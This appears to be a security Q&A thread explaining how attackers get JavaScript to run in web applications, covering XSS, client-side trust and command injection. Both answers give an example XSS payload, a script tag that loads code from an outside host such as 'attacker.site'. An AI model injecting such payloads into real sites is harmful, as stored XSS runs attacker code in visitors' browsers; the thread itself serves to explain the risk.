How hackers manage to run javascript code in webform

Question

How hackers manage to input malicious code into web applications and most websites? I'd like to say that it is rare of websites to have the JavaScript function eval() on their website's code.

Answer 1

As a quick search on GitHub can tell, using eval is not that rare, it's actually pretty common. But eval is not the only way to inject code.

XSS is a common vector. If you have a form asking for the user name, and you print the result later, unescaped, a user named <script src='doma.in/scr.js'></script> can inject code.

Using the development tools, you can inject whatever you want. You can pause execution, inspect variables, create and delete objects, all you want. If javascript can do it, you can do it. If CSS can do it, you can do it.

The main issue is that developers often forget that the browser is on the attacker's domain. Anything you put on Javascript can be subverted. You can heavily obfuscate the code, but this cannot defend against a dedicated attacker.

I have seen sites using Javascript on the client for authentication. You can tell how bad this is...

Javascript aside, server-side languages (PHP, Python, ASP, JSP and the like) suffer from this too. Just search for Command Injection (OWASP has a good page about it) and you will find a lot of ways.

Answer 2

eval() is not the only way an attacker can execute js code there are other ways too as mentioned below:

1. Site is vulnerable to XSS:

If a webapplication is not sanitising the input/output parameters. It is easy to execute js code. Consider there exists stored XSS vulnerability. Attacker injects the code for ex: <script src="http://attacker.site/malicious.js"/> the script will be loaded on every request made by legitamate users.

2. If CSP header values are not in place.

I would suggest you to go through this post for further clear understanding.